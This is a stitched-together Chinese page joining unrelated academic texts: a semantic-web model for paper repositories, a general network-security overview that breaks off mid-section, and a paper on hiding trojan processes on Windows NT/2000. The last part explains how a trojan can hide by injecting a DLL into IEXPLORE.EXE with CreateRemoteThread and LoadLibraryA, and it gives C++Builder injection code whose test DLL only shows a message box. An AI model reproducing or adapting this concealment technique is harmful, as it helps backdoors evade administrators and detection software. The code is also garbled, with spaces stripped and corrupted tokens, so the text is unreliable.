論文資源的組織本質(zhì)上屬于知識(shí)管理工程。知識(shí)管理所關(guān)注的是在一個(gè)組織中獲取、處理和維護(hù)知識(shí)。對(duì)于大型論文資源庫(kù)而言，有效地進(jìn)行知識(shí)管理，在機(jī)構(gòu)內(nèi)部實(shí)施先進(jìn)科學(xué)的知識(shí)組織與維護(hù)方式，對(duì)外則提供高效、高質(zhì)量的用戶查詢（咨詢）服務(wù)則是相關(guān)機(jī)構(gòu)創(chuàng)造新的價(jià)值和增強(qiáng)競(jìng)爭(zhēng)力的有效保證。目前大多數(shù)可用信息只具有弱結(jié)構(gòu)組織形式，從知識(shí)管理的角度來(lái)說(shuō)，現(xiàn)有技術(shù)存在以下諸方面的局限[1]：

1）信息搜索。當(dāng)今的互聯(lián)網(wǎng)通常依靠基于關(guān)鍵詞的搜索引擎，這使得搜索的結(jié)構(gòu)總是“高匹配、低精度”，而且從搜索結(jié)果的形式來(lái)看，總是單一的網(wǎng)頁(yè)，如果所需要的信息分布在不同的文檔中，則用戶必須給出多個(gè)查詢來(lái)收集相關(guān)的頁(yè)面，然后自己提取這些頁(yè)面中的相關(guān)信息并組織成一個(gè)整體。

2）信息抽取。需要人工瀏覽搜索的文檔，當(dāng)前的信息組織形式還不能滿足智能軟件（Intelligent Agent）的要求。

3）信息維護(hù)。比如術(shù)語(yǔ)的不相容性和無(wú)法移除過(guò)時(shí)的信息等。

4）信息挖掘。雖然可以用數(shù)據(jù)挖掘（Data Mining）等手段提取隱藏在信息數(shù)據(jù)庫(kù)中的新知識(shí)，但對(duì)于分布式的、弱結(jié)構(gòu)化的文檔集合，這個(gè)任務(wù)仍然是困難的。

5）信息視圖。經(jīng)常需要限制某些用戶對(duì)某些信息的瀏覽權(quán)限。“視圖”意味著隱藏某些信息，在傳統(tǒng)數(shù)據(jù)庫(kù)中很容易做到這一點(diǎn)，但對(duì)于論文資源服務(wù)網(wǎng)站來(lái)說(shuō)尚難以實(shí)現(xiàn)。

基于本體的論文資源語(yǔ)義網(wǎng)的研究的主要目的就是解決上述問(wèn)題，并借助于自動(dòng)推理機(jī)從給定的知識(shí)演繹出一些結(jié)論，從而使隱含的知識(shí)外顯出來(lái)，并以期通過(guò)相應(yīng)的（Agent）收集和整理信息，為用戶提供備選方案。

2語(yǔ)義Web技術(shù)基礎(chǔ)

語(yǔ)義Web研究的重點(diǎn)就是如何把信息表示為計(jì)算機(jī)能夠理解和處理的形式，即帶有語(yǔ)義。它主要基于XML和RDF/RDFS[2]，并在此之上構(gòu)建本體和邏輯推理規(guī)則，它完全基于語(yǔ)義的知識(shí)表示和推理，從而能夠?yàn)橛?jì)算機(jī)所理解和處理。

語(yǔ)義網(wǎng)的核心是本體。R.Studer給本體的定義是“一個(gè)本體是一個(gè)概念體系（Conceptualization）的顯式的形式化規(guī)范”[3]。一個(gè)典型的本體由有限個(gè)術(shù)語(yǔ)以及它們之間的關(guān)系組成。術(shù)語(yǔ)（Term）指給定論域中的重要概念（如對(duì)象和類(lèi)）。例如，以論文資源為例，標(biāo)題、關(guān)鍵字、主題、作者等，都是術(shù)語(yǔ)。本體中概念之間的關(guān)系通常包括類(lèi)的層次結(jié)構(gòu)。除了子類(lèi)關(guān)系外，本體還可以包括以下信息：屬性、值約束、不相交描述和對(duì)象間邏輯關(guān)系的規(guī)定等。語(yǔ)義網(wǎng)通過(guò)網(wǎng)絡(luò)本體語(yǔ)言來(lái)定義本體，以本體清晰明確地表達(dá)各種詞匯集和網(wǎng)絡(luò)上的不同數(shù)據(jù)資源間的語(yǔ)義關(guān)系，從而在網(wǎng)絡(luò)上實(shí)現(xiàn)不同詞匯集和數(shù)據(jù)資源間的共享以及基于網(wǎng)絡(luò)的語(yǔ)義查詢和推理。因此，在Web中，本體提供了對(duì)給定領(lǐng)域的一種共識(shí)，這種共識(shí)對(duì)于消除術(shù)語(yǔ)差別是必要的。本體尤其可以用于提高網(wǎng)絡(luò)搜索的精確度，這是因?yàn)樗阉饕婵梢跃_地根據(jù)本體中的概念查找相關(guān)頁(yè)面，而不是收集所有出現(xiàn)某些關(guān)鍵詞的頁(yè)面，這樣就保證了查詢的結(jié)果。另外，可以利用本體在網(wǎng)絡(luò)搜索中試探更一般或更特殊的查詢。如果一個(gè)查詢失敗了，沒(méi)有找到相關(guān)文檔，看見(jiàn)過(guò)引擎可以向用戶推薦更一般的查詢。甚至可以考慮讓搜索引擎主動(dòng)執(zhí)行這樣的查詢。

W3C推薦標(biāo)準(zhǔn)是RDF（Resource Description Framework）[2]。它實(shí)際上是一個(gè)數(shù)據(jù)模型（Data-Model）。它由一系列陳述（Statement）即“對(duì)象－屬性－值”三元組，由此，RDF的數(shù)據(jù)模型可以很方便地描述對(duì)象以及它們的關(guān)系。實(shí)際上，RDF只提供二元謂詞（屬性）。由于任何復(fù)雜的關(guān)系都可以分解為多個(gè)二元關(guān)系，因此RDF的數(shù)據(jù)模型可以作為其他任何復(fù)雜關(guān)系模型的基礎(chǔ)模型。通過(guò)RDF，可以將基于關(guān)鍵詞的檢索更容易地推進(jìn)到基于語(yǔ)義的檢索。

語(yǔ)義網(wǎng)的基本技術(shù)主要包括表示語(yǔ)言（本體開(kāi)發(fā)）、查詢語(yǔ)言、轉(zhuǎn)換和推理技術(shù)以及相關(guān)工具等。其中本體的開(kāi)發(fā)是整個(gè)語(yǔ)義網(wǎng)的構(gòu)建基礎(chǔ)，它包括以下一些階段：確定范圍、考慮復(fù)用、列舉術(shù)語(yǔ)、定義分類(lèi)、定義屬性、定義側(cè)面、定義實(shí)例和檢查異常等。可以充分利用已有的本體或元數(shù)據(jù)，如都柏林核心元數(shù)據(jù)（Dublin Core metadata terms）[4]是廣為使用的用于資源描述與發(fā)現(xiàn)的標(biāo)準(zhǔn)，在利用RDF描述資源時(shí)，可以使用其中的一些概念，都柏林核心元數(shù)據(jù)中典型的概念包括：Title、Creator、Subject等。

從現(xiàn)有知識(shí)源（如文本、詞典、遺留知識(shí)庫(kù)或本體、數(shù)據(jù)庫(kù)模式等）獲取領(lǐng)域知識(shí)、以（半）自動(dòng)方式構(gòu)造或改編本體即所謂的本體學(xué)習(xí)（ontology learning），是開(kāi)發(fā)本體的有效途徑。由河海大學(xué)許卓明教授等提出的“從ER模式到OWL DL本體的語(yǔ)義保持的翻譯”較好的實(shí)現(xiàn)了這一問(wèn)題，從而使用戶可以方便地將ER模式翻譯成OWL DL本體[5]。

邏輯推理是語(yǔ)義網(wǎng)的重要內(nèi)容，根據(jù)RDF和RDF Schema建模原語(yǔ)，它所使用的形式語(yǔ)言是謂詞邏輯（predicate logic），這通常被認(rèn)為是所有（基于符號(hào)的）知識(shí)表示的基礎(chǔ)。用邏輯描述RDF和RDFS的語(yǔ)義排除了二義性，并且是機(jī)器可讀的，同時(shí)也為借助邏輯推理機(jī)制支持RDF/RDFS的自動(dòng)推理提供了基礎(chǔ)。但是，對(duì)于RDF和RDFS而言，它們可以表示某些本體知識(shí)，主要建模原主涉及以及類(lèi)型層次組織起來(lái)的詞匯，包括子類(lèi)關(guān)系和子屬關(guān)系、定義域和值域限定以及類(lèi)實(shí)例，然而，還是有很多特性不支持，如屬性的局部轄域、類(lèi)的不相交性、類(lèi)的布爾組合、基數(shù)約束和屬性的特殊性質(zhì)等。為此，在OWL中增加了一些原語(yǔ)以提供更強(qiáng)的表達(dá)能力，從而確保OWL的一些子語(yǔ)言（如OWL DL）對(duì)應(yīng)于一個(gè)已經(jīng)得到充分研究的描述邏輯系統(tǒng)。

3基于RDF的學(xué)術(shù)資源整合模型研究

在對(duì)論文資源庫(kù)進(jìn)行特點(diǎn)分析后可以發(fā)現(xiàn)，論文資源庫(kù)屬于知識(shí)庫(kù)，傳統(tǒng)的論文資源基本上有著良好、統(tǒng)一的格式且有著較好的隱藏?cái)?shù)據(jù)開(kāi)發(fā)潛力，可以在傳統(tǒng)數(shù)據(jù)格式的基礎(chǔ)上容易地用XML根據(jù)用戶自定義的詞匯表編寫(xiě)結(jié)構(gòu)化網(wǎng)絡(luò)文檔，再利用RDF編寫(xiě)關(guān)于網(wǎng)絡(luò)對(duì)象（論文資源）的簡(jiǎn)單陳述句，利用OWL語(yǔ)言創(chuàng)作論文資源本體，給出相應(yīng)的查詢和邏輯推理機(jī)制，最終將開(kāi)發(fā)出具有新一代網(wǎng)絡(luò)特征的論文資源語(yǔ)義網(wǎng)絡(luò)，極大地方便了用戶的查詢和組織者的管理。

主要任務(wù)包括：

1）本體的產(chǎn)生

語(yǔ)義網(wǎng)上存在著各種本體，包括領(lǐng)域本體和全局本體。為了在進(jìn)行信息檢索時(shí)有一個(gè)較為統(tǒng)一的模式，以便進(jìn)行語(yǔ)義推理和檢索，要求定義全局本體的概念。可以從下幾個(gè)方面進(jìn)行定義。

①領(lǐng)域本體：領(lǐng)域本體又稱為全局總體，它是對(duì)領(lǐng)域知識(shí)的明確清晰的表達(dá)，通常用本體語(yǔ)言來(lái)進(jìn)行表述。在一些特定的實(shí)際應(yīng)用中，領(lǐng)域本體及領(lǐng)域本體的合成是很有必要的。

②子領(lǐng)域本體：假定領(lǐng)域D能被分成n個(gè)子領(lǐng)域，那么領(lǐng)域D的領(lǐng)域本體也可以被分割成n個(gè)子領(lǐng)域本體。由于語(yǔ)義網(wǎng)上不同的領(lǐng)域本體通常用各種不同的本體語(yǔ)言來(lái)表述，在進(jìn)行語(yǔ)義網(wǎng)信息檢索的時(shí)候需要將這些用不同本體語(yǔ)言表述的領(lǐng)域本體轉(zhuǎn)換成統(tǒng)一的形式。轉(zhuǎn)換過(guò)程中不可避免地會(huì)出現(xiàn)一些信息的丟失，因此，在進(jìn)行轉(zhuǎn)換的同時(shí)，對(duì)來(lái)自同一個(gè)領(lǐng)域的領(lǐng)域本體進(jìn)行一定的事例，得到新的領(lǐng)域本體。經(jīng)過(guò)轉(zhuǎn)換后的本體就變成了全局本體，也就是用統(tǒng)一的形式表達(dá)的各種領(lǐng)域知識(shí)集，它能夠用更為精確和統(tǒng)一的方式來(lái)表達(dá)世界的知識(shí)集。領(lǐng)域本體轉(zhuǎn)換成全局本體的過(guò)程可以通過(guò)本體轉(zhuǎn)換工具半自動(dòng)化地完成。

2）語(yǔ)義推理

推理是指從RDF文檔的顯式（explicit）知識(shí)出發(fā)，得到文檔中沒(méi)有顯式描述的隱藏（implicit）的知識(shí)。在OWL-DL所依賴的描述邏輯中，推理主要分為概念之間的包含推理（subsumption relationship inferences）和實(shí)例與類(lèi)之間的實(shí)例推理（instance relationship inferences），可以利用這兩種推理在論文資源文檔中發(fā)現(xiàn)傳統(tǒng)搜索搜索不到的隱含信息。在RDFS的推理中，需要在前向鏈、反向鏈以及混合方式之間進(jìn)行選擇。前向鏈將所有數(shù)據(jù)都交給推理引擎，產(chǎn)生新數(shù)據(jù)后加入到數(shù)據(jù)集中；而反向鏈采用邏輯編程技術(shù)，當(dāng)數(shù)據(jù)模型接受查詢時(shí)，將查詢翻譯成目標(biāo)，引擎利用反向鏈規(guī)則通過(guò)匹配三元組進(jìn)行目標(biāo)歸結(jié)。而混合方式則根據(jù)實(shí)際情況進(jìn)行 不同的推理選擇。

3）信息檢索

與傳統(tǒng)的基于SQL的檢索方式不同，用戶提交的檢索形式是語(yǔ)義檢索，它有兩個(gè)目的，一是將用戶從具體苛刻的檢索關(guān)鍵詞中解放出來(lái)，用戶只需要了解一組與領(lǐng)域詞匯相關(guān)的本體詞條就可以構(gòu)建成查詢語(yǔ)句；第二是可以通過(guò)推理查詢查詢到更加完備的結(jié)果。SPARQL[6]查詢語(yǔ)言是W3C的推薦標(biāo)準(zhǔn)，它以子圖匹配的方式在一組RDF數(shù)據(jù)集中進(jìn)行匹配查詢。

系統(tǒng)的框架如圖1所示。在圖1中，用戶向系統(tǒng)提交語(yǔ)義查詢，系統(tǒng)在已有的語(yǔ)義資源庫(kù)中進(jìn)行語(yǔ)義匹配，最終生成查詢結(jié)果。仍然可以對(duì)查詢結(jié)果進(jìn)行語(yǔ)義相關(guān)性排序，限于篇幅，該文不對(duì)此進(jìn)行研究。

學(xué)術(shù)資源庫(kù)主要通過(guò)對(duì)傳統(tǒng)的資源庫(kù)進(jìn)行語(yǔ)義轉(zhuǎn)化而得到，這種轉(zhuǎn)換可以是實(shí)例的轉(zhuǎn)化，也可以是建立在傳統(tǒng)資源庫(kù)上的虛擬RDF視圖[7]。

圖1系統(tǒng)結(jié)構(gòu)圖

4總結(jié)

該文提出一種基于語(yǔ)義Web相關(guān)技術(shù)的學(xué)術(shù)資源整合平臺(tái)模型，它以RDF、OWL本體形式組織學(xué)術(shù)資源，為用戶提供語(yǔ)義查詢的結(jié)構(gòu)，通過(guò)OWL-DL的內(nèi)部推理機(jī)制，滿足用戶的推理查詢要求，是對(duì)傳統(tǒng)的查詢系統(tǒng)的一種極大的改進(jìn)。

篇（4）

論文關(guān)鍵詞：計(jì)算機(jī)，網(wǎng)絡(luò)安全，安全管理，密鑰安全技術(shù)

當(dāng)今社會(huì)．網(wǎng)絡(luò)已經(jīng)成為信息交流便利和開(kāi)放的代名詞．然而伴隨計(jì)算機(jī)與通信技術(shù)的迅猛發(fā)展．網(wǎng)絡(luò)攻擊與防御技術(shù)也在循環(huán)遞升，原本網(wǎng)絡(luò)固有的優(yōu)越性、開(kāi)放性和互聯(lián)性變成了信息安全隱患的便利橋梁．網(wǎng)絡(luò)安全已變成越來(lái)越棘手的問(wèn)題在此．筆者僅談一些關(guān)于網(wǎng)絡(luò)安全及網(wǎng)絡(luò)攻擊的相關(guān)知識(shí)和一些常用的安全防范技術(shù)。

1網(wǎng)絡(luò)信息安全的內(nèi)涵

網(wǎng)絡(luò)安全從其本質(zhì)上講就是網(wǎng)絡(luò)上的信息安全．指網(wǎng)絡(luò)系統(tǒng)硬件、軟件及其系統(tǒng)中數(shù)據(jù)的安全。網(wǎng)絡(luò)信息的傳輸、存儲(chǔ)、處理和使用都要求處于安全狀態(tài)可見(jiàn)．網(wǎng)絡(luò)安全至少應(yīng)包括靜態(tài)安全和動(dòng)態(tài)安全兩種靜態(tài)安全是指信息在沒(méi)有傳輸和處理的狀態(tài)下信息內(nèi)容的秘密性、完整性和真實(shí)性：動(dòng)態(tài)安全是指信息在傳輸過(guò)程中不被篡改、竊取、遺失和破壞。

2網(wǎng)絡(luò)信息安全的現(xiàn)狀

中國(guó)互聯(lián)網(wǎng)絡(luò)信息中心(CNNIC)的《第23次中國(guó)互聯(lián)網(wǎng)絡(luò)發(fā)展?fàn)顩r統(tǒng)計(jì)報(bào)告》。報(bào)告顯示，截至2008年底，中國(guó)網(wǎng)民數(shù)達(dá)到2．98億．手機(jī)網(wǎng)民數(shù)超1億達(dá)1．137億。

Research艾瑞市場(chǎng)咨詢根據(jù)公安部公共信息網(wǎng)絡(luò)安全監(jiān)察局統(tǒng)計(jì)數(shù)據(jù)顯示．2006年中國(guó)(大陸)病毒造成的主要危害情況：“瀏覽器配置被修改”是用戶提及率最高的選項(xiàng)．達(dá)20．9％．其次病毒造成的影響還表現(xiàn)為“數(shù)據(jù)受損或丟失”18％．“系統(tǒng)使用受限”16．1％．“密碼被盜”13．1％．另外“受到病毒非法遠(yuǎn)程控制”提及率為6．1％“無(wú)影響”的只有4．2％。

3安全防范重在管理

在網(wǎng)絡(luò)安全中．無(wú)論從采用的管理模型，還是技術(shù)控制，最重要的還是貫徹始終的安全管理管理是多方面的．有信息的管理、人員的管理、制度的管理、機(jī)構(gòu)的管理等．它的作用也是最關(guān)鍵的．是網(wǎng)絡(luò)安全防范中的靈魂。

在機(jī)構(gòu)或部門(mén)中．各層次人員的責(zé)任感．對(duì)信息安全的認(rèn)識(shí)、理解和重視程度，都與網(wǎng)絡(luò)安全息息相關(guān)所以信息安全管理至少需要組織中的所有雇員的參與．此外還需要供應(yīng)商、顧客或股東的參與和信息安全的專(zhuān)家建議在信息系統(tǒng)設(shè)計(jì)階段就將安全要求和控制一體化考慮進(jìn)去．則成本會(huì)更低、效率會(huì)更高那么做好網(wǎng)絡(luò)信息安全管理．至少應(yīng)從下面幾個(gè)方面人手．再結(jié)合本部門(mén)的情況制定管理策略和措施：

①樹(shù)立正確的安全意識(shí)．要求每個(gè)員工都要清楚自己的職責(zé)分工如設(shè)立專(zhuān)職的系統(tǒng)管理員．進(jìn)行定時(shí)強(qiáng)化培訓(xùn)．對(duì)網(wǎng)絡(luò)運(yùn)行情況進(jìn)行定時(shí)檢測(cè)等。

2）有了明確的職責(zé)分工．還要保障制度的貫徹落實(shí)．要加強(qiáng)監(jiān)督檢查建立嚴(yán)格的考核制度和獎(jiǎng)懲機(jī)制是必要的。

③對(duì)網(wǎng)絡(luò)的管理要遵循國(guó)家的規(guī)章制度．維持網(wǎng)絡(luò)有條不紊地運(yùn)行。

④應(yīng)明確網(wǎng)絡(luò)信息的分類(lèi)．按等級(jí)采取不同級(jí)別的安全保護(hù)。

4網(wǎng)絡(luò)信息系統(tǒng)的安全防御

4．1防火墻技術(shù)

根據(jù)CNCERT／CC調(diào)查顯示．在各類(lèi)網(wǎng)絡(luò)安全技術(shù)使用中．防火墻的使用率最高達(dá)到76．5％。防火墻的使用比例較高主要是因?yàn)樗鼉r(jià)格比較便宜．易安裝．并可在線升級(jí)等特點(diǎn)防火墻是設(shè)置在被保護(hù)網(wǎng)絡(luò)和外部網(wǎng)絡(luò)之間的一道屏障，以防止發(fā)生不可預(yù)測(cè)的、潛在破壞性的侵入。它通過(guò)監(jiān)測(cè)、限制、更改跨越防火墻的數(shù)據(jù)流，盡可能地對(duì)外部屏蔽網(wǎng)絡(luò)內(nèi)部的信息、結(jié)構(gòu)和運(yùn)行狀況．以此來(lái)實(shí)現(xiàn)網(wǎng)絡(luò)的安全保護(hù)。

4．2認(rèn)證技術(shù)

認(rèn)證是防止主動(dòng)攻擊的重要技術(shù)．它對(duì)開(kāi)放環(huán)境中的各種消息系統(tǒng)的安全有重要作用．認(rèn)證的主要目的有兩個(gè)：

①驗(yàn)證信息的發(fā)送者是真正的主人

2）驗(yàn)證信息的完整性，保證信息在傳送過(guò)程中未被竄改、重放或延遲等。

4．3信息加密技術(shù)

加密是實(shí)現(xiàn)信息存儲(chǔ)和傳輸保密性的一種重要手段信息加密的方法有對(duì)稱密鑰加密和非對(duì)稱密鑰加密．兩種方法各有所長(zhǎng)．可以結(jié)合使用．互補(bǔ)長(zhǎng)短。

4．4數(shù)字水印技術(shù)

信息隱藏主要研究如何將某一機(jī)密信息秘密隱藏于另一公開(kāi)的信息中．然后通過(guò)公開(kāi)信息的傳輸來(lái)傳遞機(jī)密信息對(duì)信息隱藏而吉．可能的監(jiān)測(cè)者或非法攔截者則難以從公開(kāi)信息中判斷機(jī)密信息是否存在．難以截獲機(jī)密信息．從而能保證機(jī)密信息的安全隨著網(wǎng)絡(luò)技術(shù)和信息技術(shù)的廣泛應(yīng)用．信息隱藏技術(shù)的發(fā)展有了更加廣闊的應(yīng)用前景。數(shù)字水印是信息隱藏技術(shù)的一個(gè)重要研究方向．它是通過(guò)一定的算法將一些標(biāo)志性信息直接嵌到多媒體內(nèi)容中．但不影響原內(nèi)容的價(jià)值和使用．并且不能被人的感覺(jué)系統(tǒng)覺(jué)察或注意到。

4．5入侵檢測(cè)技術(shù)的應(yīng)用

篇（5）

關(guān)鍵字進(jìn)程線程木馬動(dòng)態(tài)鏈接庫(kù)

木馬程序(也稱后門(mén)程序)是能被控制的運(yùn)行在遠(yuǎn)程主機(jī)上的程序，由于木馬程序是運(yùn)行在遠(yuǎn)程主機(jī)上，所以進(jìn)程的隱藏?zé)o疑是大家關(guān)心的焦點(diǎn)。

本文分析了WindowsNT/2000系統(tǒng)下進(jìn)程隱藏的基本技術(shù)和方法，并著重討論運(yùn)用線程嫁接技術(shù)如何實(shí)現(xiàn)WindowsNT/2000系統(tǒng)中進(jìn)程的隱藏。

1基本原理

在WIN95/98中，只需要將進(jìn)程注冊(cè)為系統(tǒng)服務(wù)就能夠從進(jìn)程查看器中隱形，可是這一切在WindowsNT/2000中卻完全不同，無(wú)論木馬從端口、啟動(dòng)文件上如何巧妙地隱藏自己，始終都不能躲過(guò)WindowsNT/2000的任務(wù)管理器，WindowsNT/2000的任務(wù)管理器均能輕松顯示出木馬進(jìn)程，難道在WindowsNT/2000下木馬真的再也無(wú)法隱藏自己的進(jìn)程了？我們知道，在WINDOWS系統(tǒng)下，可執(zhí)行文件主要是Exe和Com文件，這兩種文件在運(yùn)行時(shí)都有一個(gè)共同點(diǎn)，會(huì)生成一個(gè)獨(dú)立的進(jìn)程，尋找特定進(jìn)程是我們發(fā)現(xiàn)木馬的方法之一，隨著入侵檢測(cè)軟件的不斷發(fā)展，關(guān)聯(lián)進(jìn)程和SOCKET已經(jīng)成為流行的技術(shù)，假設(shè)一個(gè)木馬在運(yùn)行時(shí)被檢測(cè)軟件同時(shí)查出端口和進(jìn)程，我們基本上認(rèn)為這個(gè)木馬的隱藏已經(jīng)完全失敗。在WindowsNT/2000下正常情況用戶進(jìn)程對(duì)于系統(tǒng)管理員來(lái)說(shuō)都是可見(jiàn)的，要想做到木馬的進(jìn)程隱藏，有兩個(gè)辦法，第一是讓系統(tǒng)管理員看不見(jiàn)你的進(jìn)程；第二是不使用進(jìn)程。本文以第二種方法為例加以討論，其基本原理是將自已的木馬以線程方式嫁接于遠(yuǎn)程進(jìn)程之中，遠(yuǎn)程進(jìn)程則是合法的用戶程序，這樣用戶管理者看到的只是合法進(jìn)程，而無(wú)法發(fā)現(xiàn)木馬線程的存在，從而達(dá)到隱藏的目的。

2實(shí)現(xiàn)方法

為了弄清實(shí)現(xiàn)方法，我們必須首先了解Windows系統(tǒng)的另一種"可執(zhí)行文件"----DLL，DLL是DynamicLinkLibrary（動(dòng)態(tài)鏈接庫(kù)）的縮寫(xiě)，DLL文件是Windows的基礎(chǔ)，因?yàn)樗械腁PI函數(shù)都是在DLL中實(shí)現(xiàn)的。DLL文件沒(méi)有程序邏輯，是由多個(gè)功能函數(shù)構(gòu)成，它并不能獨(dú)立運(yùn)行，一般都是由進(jìn)程加載并調(diào)用的。因?yàn)镈LL文件不能獨(dú)立運(yùn)行，所以在進(jìn)程列表中并不會(huì)出現(xiàn)DLL，假設(shè)我們編寫(xiě)了一個(gè)木馬DLL，并且通過(guò)別的進(jìn)程來(lái)運(yùn)行它，那么無(wú)論是入侵檢測(cè)軟件還是進(jìn)程列表中，都只會(huì)出現(xiàn)那個(gè)進(jìn)程而并不會(huì)出現(xiàn)木馬DLL，如果那個(gè)進(jìn)程是可信進(jìn)程，（例如瀏覽器程序IEXPLORE.EXE，沒(méi)人會(huì)懷疑它是木馬吧？）那么我們編寫(xiě)的DLL作為那個(gè)進(jìn)程的一部分，也將成為被信賴的一員，也就達(dá)到了隱藏的目的。

運(yùn)行DLL方法有多種，但其中最隱蔽的方法是采用動(dòng)態(tài)嵌入技術(shù)，動(dòng)態(tài)嵌入技術(shù)指的是將自己的代碼嵌入正在運(yùn)行的進(jìn)程中的技術(shù)。理論上來(lái)說(shuō)，在Windows中的每個(gè)進(jìn)程都有自己的私有內(nèi)存空間，別的進(jìn)程是不允許對(duì)這個(gè)私有空間進(jìn)行操作的，但是實(shí)際上，我們?nèi)匀豢梢岳梅N種方法進(jìn)入并操作進(jìn)程的私有內(nèi)存。動(dòng)態(tài)嵌入技術(shù)有多種如：窗口Hook、掛接API、遠(yuǎn)程線程等，這里介紹一下遠(yuǎn)程線程技術(shù)，它只要有基本的進(jìn)線程和動(dòng)態(tài)鏈接庫(kù)的知識(shí)就可以很輕松地完成動(dòng)態(tài)嵌入。

遠(yuǎn)程線程技術(shù)指的是通過(guò)在另一個(gè)進(jìn)程中創(chuàng)建遠(yuǎn)程線程的方法進(jìn)入那個(gè)進(jìn)程的內(nèi)存地址空間。我們知道，在進(jìn)程中，可以通過(guò)CreateThread函數(shù)創(chuàng)建線程，被創(chuàng)建的新線程與主線程（就是進(jìn)程啟動(dòng)時(shí)被同時(shí)自動(dòng)建立的那個(gè)線程）共享地址空間以及其他的資源。但是很少有人知道，通過(guò)CreateRemoteThread也同樣可以在另一個(gè)進(jìn)程內(nèi)創(chuàng)建新線程，被創(chuàng)建的遠(yuǎn)程線程同樣可以共享遠(yuǎn)程進(jìn)程（是遠(yuǎn)程進(jìn)程）的地址空間，所以，實(shí)際上，我們通過(guò)一個(gè)遠(yuǎn)程線程，進(jìn)入了遠(yuǎn)程進(jìn)程的內(nèi)存地址空間，也就擁有了那個(gè)遠(yuǎn)程進(jìn)程相當(dāng)?shù)臋?quán)限。

3實(shí)施步驟

1）用Process32Next（）函數(shù)找到宿主進(jìn)程,獲取宿主進(jìn)程ID,并用

OpenProcess（）函數(shù)打開(kāi)宿主進(jìn)程。

2）用VirtualAllocEx（）函數(shù)分配遠(yuǎn)程進(jìn)程地址空間中的

內(nèi)存。

3）用WriteProcessMemory（）函數(shù)將待隱藏的DLL的路徑名。

4）拷貝到步驟二已經(jīng)分配的內(nèi)存中。

5）用GetProcAddress（）函數(shù)獲取LoadlibraryA（）函數(shù)的實(shí)地址（在kernel32.dll中）。

6）用CreateRemoteThread（）函數(shù)在遠(yuǎn)程進(jìn)程中創(chuàng)建一個(gè)線程。

7）它調(diào)用正確的LoadlibraryA（）函數(shù)。

8）為它傳遞步驟二中分配的內(nèi)存地址。

4具體實(shí)例

下面是在C++Builder4.0環(huán)境下編寫(xiě)的運(yùn)用遠(yuǎn)程線程技術(shù)隱藏木馬的程序代碼：

#include<vcl.h>

#include<windows.h>

#include<stdio.h>

#include<tlhelp32.h>//該頭文件包涵了進(jìn)程操作的API函數(shù)

#pragmahdrstop

#include"Unit1.h"

#pragmapackage(smart_init)

#pragmaresource"*.dfm"

InsistingpszLibFileName;//存放待隱藏的DLL文件名

HANDLEhProcessSnap=NULL;//進(jìn)程快照句柄

HANDLEhRemoteProcess;//遠(yuǎn)程進(jìn)程句柄

LPVOIDpszLibFileRemote;//遠(yuǎn)程進(jìn)程中分配給文件名的空間

HMODULEphmd;//存放kernel32.dll句柄

HANDLEhRemoteThread1=NULL;//存放遠(yuǎn)程線程句柄

TForm1*Form1;

//---------------------------------------------------------

__fastcallTForm1::TForm1(TComponent*Owner)

:TForm(Owner)

{

}

//---------------------------------------------------------

void__fastcallTForm1::Button1Click(TObject*Sender

{

PROCESSENTRY32pe32={0};

DWORDdwRemoteProcessId;

hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

//打開(kāi)進(jìn)程快照

if(hProcessSnap==(HANDLE)-1)

{

MessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);

exit(0);

}//失敗返回

pe32.dwSize=sizeof(PROCESSENTRY32);

if(Process32Fi

rst(hProcessSnap,&pe32))//獲取第一個(gè)進(jìn)程

{

do{

AnsiStringte;

te=pe32.szExeFile;

if(te.Pos("iexplore.exe")||te.Pos("IEXPLORE.EXE"))

//找到宿主進(jìn)程，以IEXPLORE.EXE為例

{dwRemoteProcessId=pe32.th32ProcessID;

break;

}

}

while(Process32Next(hProcessSnap,&pe32));//獲取下一個(gè)進(jìn)程

}

else

{

MessageBox(NULL,"取第一個(gè)進(jìn)程失敗","",MB_OK);

exit(0);

}

hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM

_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);

//打開(kāi)遠(yuǎn)程進(jìn)程

pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";

//假設(shè)hide.dll是待隱藏的進(jìn)程

intcb=(1+pszLibFileName.Length())*sizeof(char);//計(jì)算dll文件名長(zhǎng)度

pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,

MEM_COMMIT,PAGE_READWRITE);

//申請(qǐng)存放文件名的空間

BOOLReturnCode=WriteProcessMemory(hRemoteProcess,

pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);

//把dll文件名寫(xiě)入申請(qǐng)的空間

phmd=GetModuleHandle("kernel32.dll");

LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)

GetProcAddress(phmd,"LoadLibraryA");

//獲取動(dòng)態(tài)鏈接庫(kù)函數(shù)地址

hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,

pfnStartAddr,pszLibFileRemote,0,NULL);

//創(chuàng)建遠(yuǎn)程線

if(hRemoteThread1!=NULL)

CloseHandle(hRemoteThread1);//關(guān)閉遠(yuǎn)程線程

if(hProcessSnap!=NULL)

CloseHandle(hProcessSnap);//關(guān)閉進(jìn)程快照

}

該程序編譯后命名為RmtDll.exe,運(yùn)行時(shí)點(diǎn)擊界面上的按鈕即可。

至此，遠(yuǎn)程嵌入順利完成，為了試驗(yàn)我們的hide.dll是不是已經(jīng)正常地在遠(yuǎn)程線程運(yùn)行，我同樣在C++Builder4.0環(huán)境下編寫(xiě)并編譯了下面的hide.dll作為測(cè)試：

nclude<vcl.h>

#include<windows.h>

#pragmahdrstop

#pragmaargsused

BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved)

{

charszProcessId[64];

switch(reason)

{

caseDLL_PROCESS_ATTACH:

{//獲取當(dāng)前進(jìn)程ID

itoa(GetCurrentProcessId(),szProcessId,10);

MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);

break;

}

default:

}

returnTRUE;

}

當(dāng)使用RmtDll.exe程序?qū)⑦@個(gè)hide.dll嵌入IEXPLORE.EXE進(jìn)程后假設(shè)PID=1208），該測(cè)試DLL彈出了1208字樣的確認(rèn)框，同時(shí)使用PS工具

也能看到:

ProcessID:1208

C:\WINNT\IEXPLORE.EXE(0x00400000)

……

C:\WINNT\hide.dll(0x100000000)

……

